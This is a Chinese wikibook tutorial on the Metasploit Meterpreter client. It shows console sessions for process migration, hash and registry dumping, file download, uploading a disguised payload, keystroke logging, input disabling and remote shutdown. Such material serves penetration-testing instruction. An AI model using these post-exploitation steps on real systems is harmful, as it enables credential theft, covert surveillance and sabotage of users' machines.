跳轉到內容

Metasploit/MeterpreterClient

來自華夏公益教科書

Meterpreter > shell

待辦事項 - meterpreter 簡介。

核心命令

[編輯 | 編輯原始碼]

我們可以使用?help來顯示命令列表及其簡要描述。

background

[編輯 | 編輯原始碼]

使用background命令將當前會話置於後臺,並將我們帶回 Metasploit 控制檯,而不會終止會話。我們可以使用sessions Metasploit 命令再次開始與會話互動。

meterpreter > background
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Description  Tunnel                                       
  --  -----------  ------                                       
  1   Meterpreter  192.168.50.112:443 -> 192.168.50.100:1495  

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

待辦事項 顯示有關活動通道的資訊

待辦事項 關閉通道

返回 Meterpreter 控制檯並關閉活動會話。

meterpreter > exit

[*] Meterpreter session 1 closed.
msf exploit(handler) > sessions -l

Active sessions
===============

No active sessions.

我們可以使用?help來顯示命令列表及其簡要描述。

待辦事項 與通道互動

我們可以使用irb命令啟動互動式 Ruby Shell,這使我們能夠使用 Ruby 指令碼語言與受感染的系統互動。

要檢視 API,我們需要從 Metasploit 目錄執行rdoc命令,這將建立一個 doc/index.html 檔案,我們可以在瀏覽器中開啟它。檢視 API 的 Rex::Post::Meterpreter 部分以獲取相關部分。

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.sys.config.sysinfo()
=> {"OS"=>"Windows XP (Build 2600, Service Pack 2).", "Computer"=>"TARGETLAPTOP"}

Meterpreter 最初在被利用的程序中執行,或者在某些情況下作為其自身可執行檔案的程序執行。如果該程序因任何原因停止,Meterpreter 會話將關閉,因此最好將會話遷移到更穩定的程序,例如 Windows 的 explorer.exe。

以下示例顯示了使用一些命令來定位使用者在其會話期間不會關閉的程序。這些命令是

  1. ps - 顯示正在執行的程序列表。
  2. getpid - 顯示 Meterpreter 正在使用的程序,顯示 EXE 負載 meter-443.exe。
  3. migrate pid - 將 Meterpreter 移至新的程序 ID 號,我們在此請求 McAfee 代理。
  4. getpid - 顯示 Meterpreter 正在使用的新的程序,我們驗證它是 McAfee 代理程序。


meterpreter > ps

Process list
============

    PID   Name                      Path                                                              
    ---   ----                      ----                                                              
    220   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                            
    292   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe           
    484   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                         
    492   smss.exe                  \SystemRoot\System32\smss.exe                                     
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                              
    636   services.exe              C:\WINDOWS\system32\services.exe                                  
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                                     
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                                   
    956   svchost.exe               C:\WINDOWS\System32\svchost.exe                                   
    1404  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                                   
    1432  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                           
    1536  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe                     
    1616  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                           
    1692  meter-443.exe         C:\Documents and Settings\Administrator\Desktop\shared\meter-443.exe  
    1848  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe                  
    1860  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                               
    1884  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe                       
    1996  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe                   
    3076  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                                   
    3320  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                                   
    3424  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe                          
    4032  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                          

meterpreter > getpid
Current pid: 1692
meterpreter > migrate 1536
[*] Migrating to 1536...
[*] Migration completed successfully.
meterpreter > ps

Process list
============

    PID   Name                      Path                                                     
    ---   ----                      ----                                                     
    220   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                   
    292   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe  
    484   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                
    492   smss.exe                  \SystemRoot\System32\smss.exe                            
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                     
    636   services.exe              C:\WINDOWS\system32\services.exe                         
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                            
    744   taskmgr.exe               C:\WINDOWS\system32\taskmgr.exe                          
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                          
    956   svchost.exe               C:\WINDOWS\System32\svchost.exe                          
    1404  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                          
    1432  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                  
    1536  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe            
    1616  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                  
    1848  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe         
    1860  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                      
    1884  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe              
    1996  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe          
    3076  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                          
    3320  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                          
    3424  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe                 
    4032  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                 

meterpreter > getpid
Current pid: 1536

返回 Meterpreter 控制檯並關閉活動會話。

meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(handler) > sessions -l

Active sessions
===============

No active sessions.

待辦事項 從通道讀取資料

我們可以使用run命令執行 Meterpreter 指令碼。如果未指定路徑,Meterpreter 將在 scripts/meterpreter/ 目錄中搜索指令碼。

在以下示例中,我們正在執行 scripts/meterpreter/scraper.rb 指令碼,該指令碼從目標提取一些基本資訊。資訊將記錄到 ~/.msf3/logs/scraper 目錄中。

meterpreter > run scraper.rb
[*] New session on 192.168.50.100:1548...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\xHzyoaiW.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\DOCUME~1\Administrator\LOCALS~1\Temp\JYCDjVMU.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\DOCUME~1\Administrator\LOCALS~1\Temp\uEATxCej.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\DOCUME~1\Administrator\LOCALS~1\Temp\guYOZCzT.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\ZNfDGqdB.reg)
[*]  Cleaning HKU
[*] Completed processing on 192.168.50.100:1548...

為了獲得額外的命令和功能,我們可以使用use命令載入 Meterpreter 擴充套件。

在以下示例中,我們希望使用hashdump命令從目標檢索密碼雜湊。透過使用use priv命令,我們可以載入為我們提供hashdump命令的擴充套件。我們可以使用?來驗證這一點,以列出我們可用的命令。

meterpreter > use -l
stdapi
sniffer
incognito
priv
espiameterpreter > use priv
Loading extension priv...success.

meterpreter > ?

<snip>

Priv: Password database Commands
================================

    Command       Description                             
    -------       -----------                             
    hashdump      Dumps the contents of the SAM database  


Priv: Timestomp Commands
========================

    Command       Description                      
    -------       -----------                      
    timestomp     Manipulate file MACE attributes

TODO 將資料寫入通道

檔案系統命令

[編輯 | 編輯原始碼]

cat 命令顯示單個檔案的內容。截至撰寫本文時,嘗試讀取空檔案時,該命令將丟擲錯誤。

meterpreter > cat passwords.txt
harleydavidson
password
kidsbirthday

要更改目錄,使用 cd 命令。

該命令或多或少地接受反斜槓和正斜槓,儘管使用正斜槓似乎更頻繁。"." 和 ".." 分別用於訪問當前目錄和父目錄,雙引號可用於訪問名稱中帶有空格的目錄。

meterpreter > pwd
C:\
meterpreter > cd /"Program Files"/"Internet Explorer"
meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > cd ../../"documents and settings"/Administrator/Desktop/
C:\Documents and Settings\Administrator\Desktop

當我們需要從目標檢索檔案時,我們使用 download 命令,該命令將指定的檔案傳輸到我們的本地工作目錄中。如果我們需要遞迴地下載整個目錄,我們使用 download -r 命令。

meterpreter > download users.txt
[*] downloading: users.txt -> users.txt
[*] downloaded : users.txt -> users.txt

要使用我們的預設文字編輯器編輯檔案,我們使用 edit 命令。在幕後,Meterpreter 將將檔案的副本下載到臨時目錄,然後在編輯完成後上傳新檔案。

meterpreter > edit users.txt

我們可以使用 getlwd (get local working directory),或使用別名 lpwd (local print working directory) 顯示我們本地機器上的當前工作目錄。

meterpreter > getlwd
/home/myusername/Desktop/metasploit
meterpreter > lpwd
/home/myusername/Desktop/metasploit

我們可以使用 getwd (get working directory),或使用別名 pwd (print working directory) 顯示被利用機器上的當前工作目錄。

meterpreter > getwd
C:\Program Files\Internet Explorer
meterpreter > pwd
C:\Program Files\Internet Explorer

要更改本地目錄,我們使用 lcd 命令。

該命令僅接受與您的作業系統 cd 命令相同的方式的的引數,因此請參閱您的系統文件以獲取具體說明。以下示例顯示了 Linux 系統上的 lcd

meterpreter > lpwd
/home/myusername/Desktop/metasploit
meterpreter > lcd ../..
meterpreter > lpwd
/home/myusername
meterpreter > lcd /home/andrer/Desktop/metasploit
meterpreter > lpwd
/home/myusername/Desktop/metasploit

我們可以使用 lpwd (local print working directory),或使用別名 getlwd (get local working directory) 顯示我們本地機器上的當前工作目錄。

meterpreter > lpwd
/home/myusername/Desktop/metasploit
meterpreter > getlwd
/home/myusername/Desktop/metasploit

我們可以使用 ls 命令檢視當前工作目錄和該目錄中檔案的詳細列表。檔案列表以類似於 GNU ls 程式的格式給出。

meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\shared
===============================================================

Mode              Size   Type  Last modified                   Name               
----              ----   ----  -------------                   ----               
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
100777/rwxrwxrwx  14965  fil   Wed Dec 31 18:00:00 -0600 1969  meter-443.exe  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  u3

我們使用 mkdir 在目標系統上建立一個新目錄。

meterpreter > mkdir antivirus-update
Creating directory: antivirus-update
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop
================================================

Mode              Size     Type  Last modified                   Name               
----              ----     ----  -------------                   ----               
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  antivirus-update   
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  shared             
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  working

我們可以使用 pwd ( print working directory),或使用別名 getwd (get working directory) 顯示我們本地機器上的當前工作目錄。

meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > getwd
C:\Program Files\Internet Explorer

我們可以使用 rmdir 命令刪除空目錄。如果目錄不為空,該命令將丟擲錯誤。

meterpreter > rmdir antivirus-update
Removing directory: antivirus-update

要將檔案傳送到目標系統,我們使用 upload 命令,使用 -r 開關遞迴上傳目錄及其內容。在以下示例中,我們上傳了一個錯誤命名的 Meterpreter 負載。

meterpreter > upload antivirus.exe
[*] uploading  : antivirus.exe -> antivirus.exe
[*] uploaded   : antivirus.exe -> antivirus.exe
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update
=================================================================

Mode              Size   Type  Last modified                   Name           
----              ----   ----  -------------                   ----           
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .              
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..             
100777/rwxrwxrwx  10912  fil   Wed Dec 31 18:00:00 -0600 1969  antivirus.exe

網路命令

[編輯 | 編輯原始碼]

透過使用 ipconfig 命令或internet protocol configuration,我們可以檢視目標上所有網路介面的列表。檢視 ipconfig 的結果對於確定目標直接連線到哪些網路最有用。

例如,檢視以下內容,我們可以看到目標連線到 192.168.50.0/24 網路,內部地址為 192.168.50.100。

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0b:cd:30:db:0a
IP Address  : 192.168.50.100
Netmask     : 255.255.255.0

將本地埠轉發到遠端服務

檢視和修改路由表

系統命令

[編輯 | 編輯原始碼]

執行命令

要執行命令,您需要對檔案“cmd.exe”應用程式使用 execute "-f”。

這將在後臺執行。要檢查此項,請輸入 ps

execute -f cmd.exe 54124---> 程序 ID

獲取當前程序識別符號

獲取伺服器執行的使用者

終止程序

ps 命令列出正在執行的程序,它是一個重要的命令,原因有二。首先,瞭解目標系統上執行的應用程式和服務有助於我們瞭解系統的狀態。其次,在某些情況下,Meterpreter 最初執行在被利用的程序內,或者作為其自身可執行檔案的程序。如果該程序因任何原因停止,Meterpreter 會話將關閉,因此將會話遷移到更穩定的程序(例如 Windows 的 explorer.exe)是一種良好的做法。

meterpreter > ps

Process list
============

    PID   Name                      Path                                                     
    ---   ----                      ----                                                     
    284   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                   
    424   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe  
    492   smss.exe                  \SystemRoot\System32\smss.exe                            
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                     
    612   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                
    636   services.exe              C:\WINDOWS\system32\services.exe                         
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                            
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                          
    876   NOTEPAD.EXE               C:\WINDOWS\system32\NOTEPAD.EXE                          
    964   svchost.exe               C:\WINDOWS\System32\svchost.exe                          
    1348  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                          
    1464  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                  
    1540  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe            
    1612  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                  
    1840  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe         
    1852  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                      
    1876  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe              
    1928  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe          
    1952  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                 
    3028  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                          
    3168  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                          
    3240  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe

透過執行 reboot 命令,我們將重啟目標系統。

meterpreter > reboot
Rebooting...

登錄檔

[編輯 | 編輯原始碼]

修改並與遠端登錄檔互動

在遠端計算機上呼叫 RevertToSelf()。

使用 shutdown 命令將關閉目標系統。

meterpreter > shutdown
Shutting down...

系統資訊

[編輯 | 編輯原始碼]

在滲透後階段,我們應該執行的最早命令之一是 sysinfo 命令。執行此命令將提供計算機名稱和作業系統版本,這通常可以提供有關目標系統用途的線索。

meterpreter > sysinfo
Computer: TARGETLAPTOP
OS      : Windows XP (Build 2600, Service Pack 2).

使用者介面命令

[編輯 | 編輯原始碼]

列舉桌面

[編輯 | 編輯原始碼]

待辦事項:列出所有可訪問的桌面和視窗站

空閒時間

[編輯 | 編輯原始碼]

使用 idletime 命令將返回目標系統使用者空閒的時間長度。

 meterpreter > idletime
 User has been idle for: 51 secs

鍵盤掃描轉儲

[編輯 | 編輯原始碼]

我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_startkeyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

鍵盤掃描啟動

[編輯 | 編輯原始碼]

我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_startkeyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

鍵盤掃描停止

[編輯 | 編輯原始碼]

我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_startkeyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

設定桌面

[編輯 | 編輯原始碼]

待辦事項:移至不同的工作站和桌面

使用者介面控制

[編輯 | 編輯原始碼]

使用 uictl 命令,我們可以停用目標的鍵盤和滑鼠輸入。

meterpreter > uictl disable mouse
Disabling mouse...
meterpreter > uictl enable mouse
Enabling mouse...
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter > uictl enable keyboard
Enabling keyboard...
華夏公益教科書